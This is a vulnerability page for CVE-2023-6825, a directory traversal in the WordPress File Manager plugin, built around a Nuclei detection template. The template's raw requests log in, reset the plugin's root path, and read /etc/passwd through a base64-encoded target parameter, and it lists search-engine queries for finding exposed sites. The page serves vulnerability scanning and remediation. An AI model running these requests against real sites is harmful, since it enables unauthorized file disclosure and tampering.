WordPress File Manager <= 7.2.1 - Directory Traversal
CVE-2023-6825
Verified
Description
File Manager and File Manager Pro plugins for WordPress versions up to 7.2.1 and 8.3.4 contain a directory traversal caused by the 'target' parameter in mk_file_folder_manager_action_callback_shortcode, letting attackers read arbitrary files and upload files outside designated directories, exploit requires administrator privileges for free version and can be exploited by lower-level users in Pro version.
Severity
Critical
CVSS Score
9.9
Exploit Probability
66%
Affected Product
file-manager
Published Date
April 8, 2026
Template Author
pussycat0x
CVE-2023-6825.yaml
id: CVE-2023-6825
info:
name: WordPress File Manager <= 7.2.1 - Directory Traversal
author: pussycat0x
severity: critical
description: |
File Manager and File Manager Pro plugins for WordPress versions up to 7.2.1 and 8.3.4 contain a directory traversal caused by the 'target' parameter in mk_file_folder_manager_action_callback_shortcode, letting attackers read arbitrary files and upload files outside designated directories, exploit requires administrator privileges for free version and can be exploited by lower-level users in Pro version.
impact: |
Attackers can read sensitive files and upload files outside permitted directories, potentially leading to information disclosure and server compromise.
remediation: |
Update to the latest versions of the plugins, beyond 7.2.1 for free and 8.3.4 for Pro, or disable the plugins until patched.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/93f377a1-2c33-4dd7-8fd6-190d9148e804
- https://plugins.trac.wordpress.org/changeset/3023403
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
cvss-score: 9.9
cve-id: CVE-2023-6825
epss-score: 0.66498
epss-percentile: 0.98551
cwe-id: CWE-22
metadata:
verified: true
max-request: 5
vendor: mndpsingh287
product: file-manager
shodan-query: http.component:"WordPress"
fofa-query: body="wp-file-manager"
tags: cve,cve2023,wordpress,wp-plugin,wp-file-manager,lfi
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/wp-file-manager/readme.txt"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "File Manager")'
- 'compare_versions(version, "<= 7.2.1")'
condition: and
internal: true
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- '(?i)Stable\s+tag:\s*([0-9.]+)'
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1
- |
GET /wp-admin/admin.php?page=wp_file_manager_preferences HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin.php?page=wp_file_manager_preferences HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
public_path=%2F&wp_filemanager_root_nonce_field={{pref_nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dwp_file_manager_preferences&submit=Save+Changes
- |
GET /wp-admin/admin.php?page=wp_file_manager HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=mk_file_folder_manager&cmd=get&target=l1_ZXRjL3Bhc3N3ZA&_wpnonce={{fm_nonce}}
redirects: true
max-redirects: 3
extractors:
- type: regex
name: pref_nonce
part: body_2
group: 1
regex:
- 'wp_filemanager_root_nonce_field"[^>]*value="([a-f0-9]+)"'
internal: true
- type: regex
name: fm_nonce
part: body_4
group: 1
regex:
- '"nonce"\s*:\s*"([a-f0-9]+)"'
internal: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code_5 == 200'
- 'regex("root:.*:0:0:", body_5)'
condition: and
# digest: 4b0a00483046022100f94720db7f27935136c75c3e9b6c3747fae63e3fd080fe32efd7267670077b1d022100c211a9b513ad8ea6ab124e0632029df7b2d0b50831a5dd5df168259c0d7897e1:922c64590222798bb761d5b6d8e729509.9Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
CVE ID:
cve-2023-6825
CWE ID:
cwe-22
Remediation Steps
Update to the latest versions of the plugins, beyond 7.2.1 for free and 8.3.4 for Pro, or disable the plugins until patched.